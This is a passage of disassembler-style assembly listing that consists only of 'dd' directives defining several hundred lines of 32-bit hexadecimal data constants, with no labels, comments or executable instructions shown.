		dd 0EFF5016Ch, 0F7621750h, 0C36330DDh, 0C12624BAh, 0DCAF3DE5h
		dd 0FCC0072h, 6D6819F1h, 9936C9Dh, 6CED6FF8h, 6CC4D875h
		dd 0EB609F04h, 3E997E9Dh, 29C9A7Eh, 50F5C380h, 0F05FFDB4h
		dd 5DDF700Ah, 0AB97E2E3h, 10E0E310h, 592F1629h,	9207A2FCh
		dd 4579991Bh, 27D9246Bh, 0E9B7DADAh, 0E76F176Ah, 27931787h
		dd 332AD3E9h, 0A5BE4ABFh, 0CD89EAE5h, 5F88B574h, 0F751047Eh
		dd 66F9EA14h, 0FE28D49Bh, 0CE0BDD90h, 0F68450Ah, 491F20D4h
		dd 5301E939h, 0BA104097h, 0FAA9503Fh, 0B9B2F15Fh, 3EF1E54Bh
		dd 0AC1B1FBDh, 80C03F57h, 2C25EAF1h, 3AF77ED7h,	0EFCCE909h
		dd 0AA477D04h, 4EF9A685h, 53531F17h, 0C34004BEh, 0B172192Eh
		dd 248E0DA0h, 528D0293h, 264C6F75h, 0AD5E12AAh,	0EADC1A95h
		dd 8820547Eh, 6B282D45h, 528C4C4Eh, 0B15178E1h,	0E45E3368h
		dd 453401E8h, 61DFDB8h,	31DF1AF2h, 5EA95852h, 69EA8180h
		dd 134A2E5Eh, 804BCB5h,	0BB0D81FEh, 0E6C981CEh,	66C2468Eh
		dd 18CD0C82h, 5C755FF5h, 69F601F0h, 3B42763Bh, 750B6402h
		dd 50887677h, 1A4F5CE9h, 2E684C8Ch, 0E1552D52h,	512F5E9h
		dd 4E6F80FAh, 85ED37C8h, 60842FEh, 7132B6F0h, 31FF95FEh
		dd 0A77E5B79h, 7AD5C5E2h, 55CF36F8h, 40766A45h,	67ED2DDFh
		dd 1141F98h, 90705D8h, 0DF04875Bh, 226AC61Ah, 554A3B64h
		dd 840F49C0h, 0A20C4B4Bh, 49F04852h, 0A5532479h, 0D94D2902h
		dd 0D620Ah, 0CE6214D2h,	2E014177h, 3ECB11F4h, 48AC23FCh
		dd 54CF1161h, 634018BEh, 0F42F5D68h, 74D0593h, 0CF4CB879h
		dd 973A2E64h, 91C811EEh, 0E586E917h, 73833059h,	4A67F659h
		dd 810428E0h, 11D27E2Dh, 0FDBE4251h, 0A9571D2Bh, 4C178B4Ah
		dd 85F72D24h, 0AE5034A9h, 6D7E6600h, 24B6257Ch,	52302CCh
		dd 0DFB3DBDEh, 23F09441h, 9AAC5B74h, 9400DF45h,	15B7ACFh
		dd 0ED814D71h, 3E840591h, 2FE9DBE0h, 0DBA0172Eh, 28C615A4h
		dd 229FDAFAh, 0DF503595h, 2A8C5C30h, 0C2BEF3DBh, 57818B0Eh
		dd 68842247h, 7AEC1B7Dh, 23C476D0h, 7BE12A0h, 37D1072Dh
		dd 0DF5BC246h, 373CEA2h, 6127680Ah, 0F57BBF3Eh,	3A96EECh
		dd 50AFE65Fh, 0F5886EBAh, 0C3763349h, 0BFE9EB82h, 0BC9745FAh
		dd 2BB16C4h, 6FE629EBh,	131F2B93h, 0BF02C645h, 0D0075C35h
		dd 0F5B97766h, 0F10EFEF2h, 0A43BB304h, 8CE4CA01h, 2775B4A8h
		dd 7D7D89F7h, 2F0C522Dh, 16025EA5h, 7787E280h, 0CC829873h
		dd 0C2371A77h, 3DE57FE3h, 0FD9E774Bh, 162E601h,	709AE964h
		dd 0A00A373Eh, 0F7367450h, 84E6A4C1h, 0F42EBD47h, 0B40A66EBh
		dd 85C6832Ch, 0D2F873Ch, 92DE3A9Bh, 0B37A78F1h,	173488D3h
		dd 0AAA6575Eh, 85B78D77h, 0A62E3EDDh, 0AA680B06h, 0A0E7C532h
		dd 4BF00BBAh, 0DF7072B7h, 0BA0FD9Ch, 0E9187BB0h, 6897BCC4h
		dd 3B5874B1h, 0BA89525Bh, 1F544171h, 0A048F0Ch,	189920C2h
		dd 6D5AE21Fh, 6DBC1DFh,	0E99BD827h, 5087F198h, 0D230BF5Bh
		dd 58554DA7h, 87F701DFh, 0E9440D42h, 0E77FD248h, 2D5C07BBh
		dd 165A1201h, 7DD08D7h,	244CBF3Ah, 0F504AD27h, 0ADEAFFA1h
		dd 0D791E29Fh, 75F4C8ECh, 40FC174Fh, 37F50093h,	29508A2Eh
		dd 40E5EB78h, 3C78E908h, 5EF2AEA8h, 0D91D4798h,	15E05FBh
		dd 0BCD75A60h, 15BB0652h, 140D16F0h, 0AF49DA35h, 840FA62Eh
		dd 0FED830ACh, 0B252D560h, 0D1881401h, 5602BF5Ah, 279E92Dh
		dd 8041E1DEh, 4CECCCE4h, 0F5199F6Dh, 5AD3C08Fh,	88FEDAE0h
		dd 0C5D5C8B5h, 78763872h, 6E37C0E3h, 0AACB373Bh, 0C481B9F4h
		dd 20CAFBD2h, 0D12C6075h, 0BCFA95E6h, 180F1505h, 25E15631h
		dd 0ADF84943h, 0E99A68BFh, 5E426149h, 0B86538EEh, 0A005370Bh
		dd 62150915h, 0B44D598Ch, 4F8C928Ah, 619DA1C0h,	321EF3Bh
		dd 6E2E86E7h, 38185819h, 296FFE09h, 7C6A687Dh, 9C3EAB36h
		dd 0D614C91Eh, 0D2F569F5h, 30F1BB00h, 0B34E1228h, 7497E4B2h
		dd 0B38C4F60h, 6EEC5F14h, 0F3A92A54h, 0DB01BF7Dh, 355D05C4h
		dd 847F340Bh, 340712EAh, 592A928Bh, 4DF9567Dh, 8BE47DE3h
		dd 58DEC006h, 0E780B529h, 1D6D7C7Bh, 748DADB4h,	8E23A10Dh
		dd 0F7097C27h, 0A8A8E5DDh, 7CD802F8h, 0CF2948BCh, 208E7C09h
		dd 245A680Bh, 5B9E4118h, 1701C105h, 22996831h, 0D8002836h
		dd 0C1655749h, 0F49008EAh, 25F0DD77h, 95CE0CC1h, 0F13ADAFAh
		dd 61B62B1Ah, 0E9C3ED52h, 0C55851CAh, 89DB2D01h, 0E3F25500h
		dd 23D499F4h, 23D24AA5h, 0A297E357h, 3DC5D7E7h,	16A7280Ch
		dd 0F6A0C7C0h, 0E78AA6D2h, 4660BD00h, 0CD812EB9h, 4A0E244Eh
		dd 0EAE501D2h, 711E1250h, 2B108287h, 0C01BEB23h, 5F53B680h
		dd 0AD2E0AEh, 17DEF90Bh, 7648DF29h, 0ACB23F02h,	0BF0637Ah
		dd 1B75B3A0h, 544D422Fh, 53F058F3h, 0E91B7704h,	0E8A8BA5Eh
		dd 0FA2FA7C4h, 0A63B2439h, 0E9AC4BB6h, 0BE8C1B0h, 0C044E92Dh
		dd 131ABE8Fh, 0AF26F016h, 3939AEF4h, 4FD9802Fh,	960B701h
		dd 21F7017Ch, 2F846578h, 8A356FB0h, 9A3C3E54h, 0D44055ECh
		dd 1B6202B7h, 0F1554D18h, 41E909C8h, 56484278h,	342A4FA2h
		dd 0FB215E09h, 51820671h, 0DD26D6E9h, 11CA4F1Bh, 0B107CE74h
		dd 0B284803Ah, 56A11FBAh, 81A24BB3h, 1FAE6B75h,	5632650Ch
		dd 7831C076h, 775C6B43h, 2A3905E8h, 0CEAB0A21h,	56BC5FF9h
		dd 0FF1F1519h, 0FFA3AF5h, 9184C778h, 0D639908Eh, 0FEA1F287h
		dd 2C5A28E7h, 0DD2588DAh, 0E9D5D40Ch, 0F274392Ch, 0DD6857C2h
		dd 895F1570h, 2E0F2DFBh, 0FA94F537h, 4AEA40C1h,	0A6C1AB05h
		dd 5A7047E1h, 0AE66D68Bh, 2DE9D828h, 95CC29EDh,	2F559B81h
		dd 626A98CDh, 50D07FCFh, 7A33FEB5h, 0F16B02DFh,	56D10B96h
		dd 0FB555C42h, 0F38208C2h, 0C218F427h, 0BEDF921Bh, 7D769D5Bh
		dd 0B7AB42C4h, 0C73D7B66h, 65B9FC90h, 50F57A2Fh, 0EACCB45Ah
		dd 5F7D276Ah, 13040B72h
		dd 29CB8F6Eh, 41C7A9BFh, 32E1048Ah, 9F5E795Dh, 0B6DA3E27h
		dd 12E99D95h, 9CA2EFDEh, 1DB44B79h, 28370361h, 0D09A58E2h
		dd 43DCEE62h, 6617CE81h, 92207183h, 7CE50540h, 0AC9AE9DBh
		dd 68AF4EB9h, 0D8502806h, 0FBBF6CC7h, 120A1135h, 0E13471B4h
		dd 2AAFD1BAh, 0D37D38DCh, 63DD1901h, 0E9305D8Dh, 0A474BD02h
		dd 2DCE1808h, 0F16B00FDh, 5E832C1Ah, 0EE39D066h, 3D5F1FB1h
		dd 5F326BB0h, 125DF2C5h, 7DBAC4A4h, 0C8C53033h,	1798482h
		dd 295FF920h, 6B568195h, 0A12DFEE4h, 0EF3E24Eh,	13103868h
		dd 8BD9F3EBh, 10B5E75Ch, 7633482Ch, 4BBD275Bh, 5E119085h
		dd 16190E13h, 5ACAFE17h, 448110h, 6B631C51h, 0D2E560E9h
		dd 42792AA8h, 10E9090Dh, 445DA07h, 9C62BCEAh, 7C24C011h
		dd 774C4752h, 4561482Ch, 0CB0A7A08h, 5B1317C2h,	0A1AB9BD4h
		dd 0A5D86862h, 24E9D638h, 0B07DFBFFh, 4D76B3F0h, 90275FB8h
		dd 9825C41Ch, 15F350B5h, 0C00A1FEEh, 0B0DD27C6h, 4AFDE923h
		dd 0C08FB82Fh, 0D967F5BBh, 0BBC986Fh, 0E83104Dh, 0B4613D62h
		dd 0DBA3CB87h, 7160864h, 28E3E280h, 9C20B43h, 0BD65DEBh
		dd 0D0019F02h, 0EF62C047h, 1E9916DEh, 1F20AEC8h, 9D0AC1E9h
		dd 0F0556DA9h, 2BF5F704h, 51419A25h, 0FF048DAFh, 1934E481h
		dd 895B0EA7h, 0F401E962h, 5551697h, 0FA3C7A81h,	2F7CB308h
		dd 31270E58h, 69A17CC7h, 28BAE8DFh, 5A6603F3h, 0F65BDD08h
		dd 6FE58098h, 26C5FE32h, 8ABF008Eh, 6A27AF78h, 0ED8F8A01h
		dd 27386B08h, 379F3802h, 422DFE61h, 0D3F95E07h,	4E3B77A4h
		dd 0E2BB1D64h, 0BBDD768h, 0A1EBA213h, 20643007h, 0F65AD302h
		dd 574A68DBh, 8AC833C6h, 0D01738C1h, 3AD7F45Ah,	0AE3B7E45h
		dd 3914FD39h, 0E928D8BAh, 3253266Ch, 652E1ED1h,	60DCC941h
		dd 74131AF7h, 2700ACB4h, 0BC74B289h, 6F8B7D69h,	0EFAD4A60h
		dd 68418796h, 0DD230537h, 41C2573Ch, 5CBC2AAFh,	85E695DAh
		dd 0F30B4790h, 0DF3DA25Ch, 8A1FB9A2h, 0E959D45Fh, 5725C7E4h
		dd 2D0B5E54h, 0E973FB5Ch, 0E62149C0h, 694CE02Eh, 7FB8055Fh
		dd 7C7D3405h, 0F2B0AF3Eh, 9D5C045Bh, 0A177E931h, 44802ABDh
		dd 27B69BF9h, 4D009D7h,	0F56A3D2Fh, 3606BEAFh, 0C2057D0Dh
		dd 0F4188617h, 461029FCh, 0E1EC4E56h, 0A6E33114h, 30EF45h
		dd 155A280h, 16BD68F0h,	0C5B75D57h, 409504DBh, 29503AE5h
		dd 4B68175Ch, 0BC41FE71h, 36C95332h, 12FDFC7Ah,	854168E9h
		dd 88C0FE59h, 962B63Eh,	0FC793AE9h, 6E6842F9h, 0FC75A5F5h
		dd 645D61A1h, 510F303Bh, 53138268h, 8A000EB0h, 3C6B2EF1h
		dd 7EE92C77h, 24F4ADBEh, 8B057F0Eh, 0DF5E074Fh,	3FCA7499h
		dd 8D0C9DFEh, 0BD3FC212h, 0CA011942h, 0E305EA10h, 6F174E09h
		dd 4AEC70F0h, 0C769BC15h, 2F6097Bh, 63940C0Ch, 44547D27h
		dd 42559517h, 0CF12AAA9h, 0D35CF805h, 79BC2124h, 0E892D1B4h
		dd 0C5339C4Bh, 65A94205h, 12AC18BBh, 6B2655A0h,	0F2A597C3h
		dd 4ED09ABh, 5228DE62h,	0B8D08EAh, 0E06FE91Eh, 1646B8DBh
		dd 0A048F42Ah, 0E459F21Ah, 185C05ADh, 0AA00204Eh, 0C872B7C9h
		dd 70F9B064h, 16DD301Dh, 0F17ADE0Ch, 4FB54D4Fh,	9602517Fh
		dd 920F8A4Bh, 0E9339CEAh, 4B62804Dh, 0FBB7D4AFh, 126016F0h
		dd 0B2E663Ch, 30703C8h,	94D50B01h, 0E6882494h, 0FA03386Fh
		dd 80EA285Bh, 0CCE91293h, 1ABC6A10h, 2A5ADD8Fh,	137A8640h
		dd 4AA71495h, 0AC3D8CB9h, 6151B09h, 6402554Dh, 4951AD4Ch
		dd 4B4D442h, 0C3C7F028h, 65588072h, 31403038h, 2D6AADEBh
		dd 0AF24407h, 29580880h, 11E812D7h, 0C7EB71Ah, 35B55657h
		dd 0CF54AE0Ch, 4EF4177Eh, 0BD0929A3h, 0E829120h, 0E5D74F06h
		dd 89522566h, 1FD16231h, 0CA444DC4h, 0EB04EDF9h, 0EEF865AEh
		dd 1FFBE617h, 0E7CA01BBh, 3133250Bh, 1230783Bh,	7741E2C1h
		dd 3D16CE8h, 4207128Ah,	3C111DD7h, 0C73D764Ch, 370A768Eh
		dd 4756CFC1h, 0EF83704Dh, 70194F09h, 0E9C90144h, 0CF4C12C2h
		dd 0F30F4F68h, 0AEE90960h, 12E0E98Fh, 0A56251FAh, 8385A35Dh
		dd 939E58DDh, 2DD5D069h, 0A53A9461h, 6C853A6Dh,	39C0A290h
		dd 250190A4h, 17FE3A77h, 446D6660h, 0D859E5Dh, 61F9A4E9h
		dd 74A93E79h, 2A25E9E0h, 57947F97h, 0C0EB42B5h,	28629826h
		dd 9B00274h, 0AE7E1AE5h, 1CF5AC03h, 89E924EBh, 5680A7E9h
		dd 9C92BB4Bh, 188CFE05h, 3877584Ah, 3CAA83A4h, 5EC51706h
		dd 24A67846h, 2941DEDh,	71126827h, 6B091D4Ch, 7D36207Dh
		dd 0DF98D450h, 3C7FB624h, 5835E909h, 9D315843h,	7238FFD3h
		dd 85B94FE9h, 402B83BBh, 74E0C4C1h, 541E2163h, 578C2DC7h
		dd 3FEAA122h, 7C3D1BC1h, 0AFA873A4h, 0F369DADEh, 0D01E0846h
		dd 0F8885007h, 5358C521h, 0DAE0EBD9h, 7E6CB75Bh, 68C85627h
		dd 2C6805DEh, 0C0C861A5h, 73EE2962h, 35AA698h, 5002C3FDh
		dd 4A2E22B8h, 0E0B023FCh, 9119F8Dh, 160CE95Fh, 316035DEh
		dd 4B0A68C3h, 0EF463439h, 0A5156EF2h, 0B84C4420h, 99115003h
		dd 53884A56h, 164D2FE9h, 2E6F0FBDh, 526A997Dh, 0E84EBA28h
		dd 650B1225h, 4DD0294Eh, 1D3808C2h, 0C6FD51A2h,	8D8E2048h
		dd 1DE9584Fh, 0BACEEE96h, 0A4C04927h, 8F042CACh, 0D106852h
		dd 367431AAh, 6C267FE2h, 2B0251CCh, 342F1921h, 8BF4BA2Eh
		dd 0CADB6EB8h, 520BB3ACh, 5C7A14F6h, 0FB90DC4h,	0CCEDECABh
		dd 0B5592B9Eh, 5C16F997h, 78C97305h, 0BFF6C436h, 0DE25766Bh
		dd 0C8C7D1A9h, 5E2801FAh, 2B216294h, 0E90B66CBh, 98551E8Ch
		dd 4E31686Ch, 67173103h, 0C52A6E39h, 0C5920348h, 0E053B914h
		dd 0AC0532E9h, 978E900Eh, 62346949h, 0E95E82ACh, 59836994h
		dd 82C1A842h, 55B217BDh, 140EA0A3h, 0DAEBD713h,	4F96AF8Ch
		dd 7B9AA755h, 1384435Ah, 85C33981h, 7A118C2Fh, 0A672106h
		dd 9FA10105h, 2D0591D8h, 341537CEh, 584CCDBCh, 0AE014A00h
		dd 2CDFE966h, 0AB85FC9Ch, 20ACE64Ch, 8340E005h,	47B8800Ah
		dd 502E650Ch, 29046D31h, 0E9AC5BDFh, 0FDED8317h, 139BA68Eh
		dd 200C41E9h, 0CED59783h, 9D27BD7Bh, 0C2B9FE4Ah, 0EB65F701h
		dd 6D0DE986h, 37EB0141h, 29342C0Ah, 521720FBh, 0C14A4725h
		dd 137E828Bh, 0CAA1EBB4h, 0CF66FC3Ah, 0F0FF9268h, 4FB73415h
		dd 7EFEAD81h, 0D4FCE962h, 1C4D2DFBh, 0F7EB5812h, 0D758C95Ah
		dd 0C1423F73h, 51EEA7CDh, 5701AD72h, 0F3F0947h,	0FDFEFC87h
		dd 79E83B31h, 41D72102h, 27F44B19h, 0C5312CCDh,	0AF671698h
		dd 0FCB51176h, 0C0997F5h, 8978EFFFh, 91E093E9h,	13BD285Ch
		dd 17E2E19Ah, 21CB2901h, 5B87AB6h, 8F8A024Dh, 70341EE4h
		dd 3A16F55Fh, 70281D24h, 9E5AFE2h, 84D34D7Dh, 88AA4DE9h
		dd 4E13D409h, 18E91D30h, 0F36B0841h, 5E5C8534h,	7EB328BEh
		dd 9F5AB240h, 72A9057h,	0F4ED4B68h, 65B71C85h, 9163429Bh
		dd 3403FF0Bh, 0D6F35AEDh, 7D2C1BA8h, 3E7BE912h,	3F144FBDh
		dd 0BD3E0670h, 66D3F6C0h, 0D82800FCh, 7F6818F2h, 33975F18h
		dd 27E26C95h, 0DF202D95h, 559ED6C4h, 0B59F4BFh,	529AB116h
		dd 0DE529ADDh, 29DF49B0h, 5EA744B9h, 66A304BBh,	5938C25Ah
		dd 0F9D25007h, 78D97752h, 0F10B549Bh, 0D46E11E6h, 0B5C1EE91h
		dd 0D03EBE27h, 0AA7F1738h, 0E4F13EFBh, 3B11CD3Eh, 0C1268609h
		dd 63B64AFh, 4F090733h,	76ACC995h, 8277E9A5h, 3A01C22h
		dd 0E290FC88h, 80045B58h, 0CAFEF8EAh, 6472CDABh, 0B12FE931h
		dd 4B51513Ah, 5F271147h
		dd 0CEDDFF2Bh, 28AC8263h, 6F08DCCDh, 54530B5Bh,	0AB83C7F7h
		dd 0FC409512h, 0E2814200h, 129A3C25h, 43DA871Fh, 3FFDB7C8h
		dd 52E8CE03h, 0F6B01605h, 3B164F13h, 0BF98942h,	0E598A24Bh
		dd 141DE502h, 245DE61h,	1C3CDB21h, 7B35F6C1h, 0A4B84CC5h
		dd 531592BDh, 70670705h, 680B31B3h, 365E3F85h, 615C55F2h
		dd 307405E9h, 0F62006CDh, 0C3DB9529h, 0AC10C0A4h, 0AF4C695Eh
		dd 75A53257h, 14B8CF9h,	0F45C5595h, 40C02420h, 15040593h
		dd 89BC7944h, 517EEAF0h, 0C21C4F7h, 73E5D3C1h, 53F32DE3h
		dd 0E984224Dh, 0F6FBEAF7h, 0BC2D0198h, 127BD05h, 704C361h
		dd 89FBA2BFh, 75D955C0h, 0C0EB52E5h, 10C82E6h, 0F4CB205Fh
		dd 24B8D610h, 3F023D5Dh, 4040A36Ch, 4852B229h, 5925F49Bh
		dd 0E7802001h, 0B6A06F57h, 0C1E0F9EFh, 0F9283E16h, 0D85BEAF7h
		dd 18F12808h, 263E06CDh, 53887424h, 1F9FB2C3h, 0B484A7DAh
		dd 3213AEFCh, 0C2BBF2AEh, 5FFED66Fh, 571F92D3h,	0E464214Bh
		dd 60DAF07Bh, 91BF1089h, 7B4CBC29h, 942F204Ah, 0DD2F3C80h
		dd 5DA7B0FCh, 745D95B2h, 0F56EF0D2h, 0D8F688C7h, 8C0C6A90h
		dd 3E03FC0h, 4437292Ch,	66F0EFC7h, 0FC969559h, 456ADCB7h
		dd 6817A0E3h, 0CD0ADC2Ah, 7517C35Fh, 0D9AEAF56h, 58C22F81h
		dd 0A36EDF5Ch, 380BCFB0h, 554A4D72h, 6E7DC192h,	5D118145h
		dd 909BF23Fh, 0E0ED2812h, 0FAF73C4Eh, 0FE5D0C40h, 0CD304AEBh
		dd 0D1B87F4Fh, 3535F94Ah, 0DF0B4D29h, 5312FEBBh, 38E88EE1h
		dd 2A9A49D2h, 6590D49Ch, 217B5405h, 57C42910h, 98A6C4EAh
		dd 1B4FE801h, 60C4F7ACh, 375E0FA1h, 0D39CD8A3h,	20CBFEE1h
		dd 0E3F3E90Ch, 0CF0FBD3Eh, 443B9654h, 0B2D0E065h, 5853FBCAh
		dd 0EA004B66h, 20F968CCh, 0DEBFD189h, 1FC6B6Ch,	602FE909h
		dd 90DE2986h, 16C29859h, 0A125D136h, 74DFDD7Dh,	0D52E68A9h
		dd 0FAC2DB3Ch, 0C162C8F9h, 0FE2D5A58h, 48BB9913h, 5A133447h
		dd 0BEF45CF8h, 0A1A952Ah, 0F475452Bh, 7B604E76h, 4B012A6Bh
		dd 16FE0EC1h, 0B12B0432h, 0C9D42A79h, 0E76CAD80h, 0F1BB5A0Fh
		dd 2F9743E4h, 0D400CB2h, 0D9C5C213h, 55EC6CE1h,	0E30916C4h
		dd 0B4B9104Dh, 0B6FD5925h, 8935B455h, 0EE9EBA23h, 82B223D7h
		dd 0E71FE982h, 92EA0A5Ch, 0A43D8E03h, 767A026Dh, 29925BC2h
		dd 53A00359h, 0B5DE8320h, 9FEC378Bh, 0C346CB35h, 7034C6A9h
		dd 70A2C765h, 6E297584h, 6F7B6819h, 20F66493h, 0D7EC7AC6h
		dd 0D0A0895Eh, 1C472D09h, 2CF53C44h, 0EF2104DCh, 0B1AA4F5Dh
		dd 0FDB0204Ah, 4A292D48h, 0F43D6C3h, 0D59128E0h, 5BDD3142h
		dd 7C4FDCC0h, 62EFD09Eh, 0F7FED3CAh, 854F704Eh,	0AD2C22C1h
		dd 2F71D9DDh, 0FE92D83Ch, 4AAC7CC3h, 6FE2293Dh,	9735FFF7h
		dd 6857E02Bh, 81291100h, 714038F2h, 90E9171Fh, 0B38A41B0h
		dd 0F7CB80EDh, 0C022E398h, 0F3F208E6h, 0E5E96C1Bh, 0D55B8A7Eh
		dd 0CC1D146h, 4A78ACD6h, 0B0D87920h, 0BF205568h, 85CE343Fh
		dd 0DD53F1A7h, 22BB6083h, 0F1C528A0h, 2C9A081Dh, 44A1ED8Eh
		dd 44C2E7E9h, 5135000Fh, 58BFB170h, 43C30BD3h, 470B3DD0h
		dd 0E713F872h, 0E20E7129h, 4F7E047h, 2658285h, 145CBB53h
		dd 56551E97h, 5712045Eh, 0F8E58169h, 5A074705h,	15602614h
		dd 0C20ECEEAh, 4E654BE2h, 68DB101h, 510A1C08h, 744AD947h
		dd 0A7868549h, 57F61AF1h, 35BDCAC9h, 2692D062h,	5564AD3Dh
		dd 69F4EACDh, 0A6011471h, 0F280002Fh, 0D7881CB1h, 4BFE1F5Ah
		dd 0AADC0996h, 0DF894062h, 3492F44Eh, 3C657720h, 80B9EEC0h
		dd 0F001E3B8h, 5052665Ah, 0ECD0D8B4h, 8ED4F63Fh, 64FE3FCCh
		dd 0A2C1E4C0h, 0D45572F2h, 49E009AAh, 0CE9F5EF4h, 0F7F154D2h
		dd 0D6B2A22Eh, 8B8EA5ADh, 0B500BDF3h, 3DEAF4EEh, 0BA8DD250h
		dd 0E4251EE6h, 1DC45067h, 96C102B8h, 0B616EF4Ch, 0E85FADA8h
		dd 0CBB03D68h, 0D7CC7D45h, 7AC5DF40h, 0B0720A27h, 4DC80988h
		dd 0DF56B1CDh, 0F309A0ACh, 219B750Ch, 6E8EB4C9h, 996FAB3h
		dd 5D5C433Ch, 0C57FF28Eh, 13BF39ECh, 0A491B82Ah, 0A906A8AEh
		dd 49A2B092h, 50018973h, 7F58C629h, 0AEA40AECh,	0AA0E39F4h
		dd 0E7D060C2h, 0AE534A6Fh, 0C029C282h, 9F787C13h, 89E91556h
		dd 86965713h, 0BDA8E919h, 2A715630h, 0BF676D35h, 0FFDF5882h
		dd 595BFC77h, 59E44829h, 52ED141h, 0B46B2B34h, 0E3FA07E7h
		dd 6A057C90h, 2DDB3B3Ch, 568E0EEh, 407CC309h, 4DE7701Eh
		dd 5427362Eh, 6816E4CCh, 6D3419A5h, 935BFDAAh, 28B19615h
		dd 64EF530h, 0FAB88880h, 0F463485Eh, 1380672Dh,	0AB11C30Dh
		dd 360F3E78h, 0E453BE10h, 8CEA943Bh, 670B729h, 45BCD595h
		dd 0A353E919h, 0FF30AC38h, 0C7C29D8Dh, 44B9E7D7h, 0B2B31214h
		dd 0A1F2B94Fh, 1606BB2Eh, 909EFABDh, 0AAF9BD53h, 0B6A95F3Eh
		dd 5F685D0Eh, 1DAE3BD8h, 546444A0h, 7691174Ch, 4A08A4D0h
		dd 4143B4C2h, 0F57A7160h, 8008042Dh, 1CB6CDDDh,	52D2BF7Ah
		dd 0D601C746h, 59F7409Ah, 58C38904h, 8DF48268h,	706D4E48h
		dd 236568D8h, 0A7321C6h, 20CFBA3Dh, 585A5C22h, 510E72B9h
		dd 88FF3404h, 0C025B79Dh, 804DBC25h, 48BCE688h,	61C2C253h
		dd 0E9D02C7Eh, 54844EBAh, 0B4973B5Fh, 17414A90h, 0F1488803h
		dd 6E974DE3h, 89AD4573h, 4E22E73Ch, 1EB5E417h, 5732A680h
		dd 55808DEh, 2D0206A3h,	0DC685059h, 0F9967D70h,	526C120h
		dd 951ED5BBh, 0EF5F85EFh, 4003BD2Ch, 7B0BB96Eh,	62277F41h
		dd 0BFDC5786h, 0CB09760Ah, 0F45BD989h, 50410688h, 3273F656h
		dd 0EC731728h, 6D4B4A09h, 705A788Dh, 0C112BF10h, 0AFCB7F84h
		dd 4F785145h, 0B0C04AB8h, 0E919025Ch, 75B05A4Ah, 81315A58h
		dd 567134h, 9F401E68h, 99F1AD9Bh, 6BF36F10h, 0A4C51C12h
		dd 301ECB70h, 4EC844A6h, 0AA0512CEh, 6A3086E1h,	23BD8042h
		dd 4538F0E3h, 78CCC4C2h, 0B846E020h, 0D85F325Bh, 39F8972Eh
		dd 2D2EB12Eh, 283C8B19h, 9280B120h, 5AB3F842h, 7C73543Ch
		dd 0D72A6804h, 3317AE3Dh, 26677C6h, 0A1DCB5F5h,	16428904h
		dd 0BD306EDDh, 2D714AD6h, 5A12B46Fh, 0C0BFE29Fh, 0B3112CBh
		dd 0D2F764A5h, 181A5C74h, 0B4095D13h, 50E9315Eh, 743701B3h
		dd 6DE96EB0h, 0E8F053D9h, 295745B9h, 75C9DECFh,	22E4F747h
		dd 1C572117h, 7E32F08h,	751FCBBBh, 0C9F0AE15h, 37A7ED0h
		dd 1EB831Eh, 431CD1E9h,	0C080B050h, 6E0C04E0h, 2C851D34h
		dd 30C10E95h, 0CB285840h, 24F526E9h, 0E29DC293h, 0C3913889h
		dd 0A96C124Ch, 0E430120h, 7E41BE56h, 0C0411AF2h, 0E5043272h
		dd 81711D65h, 2FA57D31h, 0EEEC7DDDh, 3DE89725h,	0E0243317h
		dd 7E2D08F0h, 9A4842ABh, 284BDE0Bh, 0EF2CD287h,	8F5CF585h
		dd 2F00F265h, 0DA12F511h, 0DADB9909h, 0D2085112h, 0EAB309BCh
		dd 0BD0BEA76h, 479AD5F6h, 0FDF8A9FFh, 45BF274Eh, 0A7F9882Eh
		dd 0E4DEF60Eh, 0ACB86F42h, 0C75F6889h, 9538A8B5h, 0CBC8B8CAh
		dd 5881DF3Bh, 0E8AAA444h, 543750E5h, 436C2B01h,	1EEFE942h
		dd 5547F36Bh, 0C9DDF04Ah, 0FB0F94B7h, 38BB1864h, 6A285C47h
		dd 6E3B0BE3h, 56BAEh, 1B83C7A1h, 968A967Dh, 0F0F5C408h
		dd 9BA0511Ah, 0E183668Ch, 0BB45CD40h, 419737A4h, 0F9269417h
		dd 5FF882E0h, 7A58D505h, 39102D1Dh, 0DD1F34D3h,	0D1800728h
		dd 8181416Fh, 30187B30h, 440C626Ah, 2E5A822Fh, 0F2010A81h
		dd 0BC480660h, 92F0EB39h, 0E105A3B0h, 296D0970h, 92EBA2FAh
		dd 6E8CE13h, 6B2E0900h
		dd 0B951430Ch, 9D27800Ch, 187E7420h, 0C37694Dh,	0BE3E55C5h
		dd 39C9037Fh, 0DA484C44h, 7ECC55E6h, 0DF40CD04h, 0D1AA093Ch
		dd 0C1BD07E1h, 97187BC1h, 25660370h, 0F50DD2h, 2D7F2C5Ah
		dd 80279E4Ch, 0F16FFBF3h, 0A04EE907h, 0C1EF5F84h, 0F5606904h
		dd 9C7A9233h, 0D1BE4FC0h, 0F4957E44h, 17C39462h, 0A030FC8Bh
		dd 0FBE95AD1h, 0BE053792h, 92835DE1h, 0D082291h, 0B56A8CD8h
		dd 2D8F42F7h, 62960789h, 0D4D02927h, 275FC095h,	503B4344h
		dd 4E135AE9h, 18337E2h,	32D2E9CDh, 271230C8h, 0FCC26697h
		dd 40949417h, 68134C50h, 0F606AF6h, 2246E117h, 27667B62h
		dd 1BFF6F7Bh, 0BF08021Dh, 6CC5477Fh, 4909A960h,	0E9719704h
		dd 0E7ACF368h, 0CF313598h, 8C5F9E4h, 802D1F7h, 5F495CE9h
		dd 0B62D9F4Ch, 4F371947h, 9B83146Bh, 0F527C203h, 8AE11E2Eh
		dd 4E5E010Eh, 91F443DCh, 0E966A790h, 31315348h,	0C2216614h
		dd 44ACB870h, 1E4FB24Fh, 0FA2C10E3h, 4D725B1h, 0D8BE5F33h
		dd 4F4021B5h, 99E59F09h, 0C02729A4h, 25E99731h,	9B721A08h
		dd 0BFE28320h, 527217E0h, 0A0165B22h, 0B2F454Eh, 0DE949CEh
		dd 6B6E32C2h, 0EAC7439Dh, 8598DD43h, 0B9807A73h, 97670053h
		dd 3F18163h, 44342529h,	0C80B84C1h, 0A1D790C8h,	0C28B032Eh
		dd 52D98951h, 7212224Eh, 72F5E2E8h, 0B265CE2Bh,	0F59D55A0h
		dd 0EF8DB18h, 99F656AAh, 9546CE93h, 7A48D366h, 9CCAEA9Ch
		dd 6FE6014Ah, 2035D554h, 6B16914Bh, 83022542h, 40A163D3h
		dd 1D8EEDDBh, 8247E11Ah, 0E07C70CDh, 0CF51D60h,	5ACA323Eh
		dd 0C52EFEFDh, 0CCF30418h, 0D5F0FF31h, 0F6D2029Eh, 67FDE9E7h
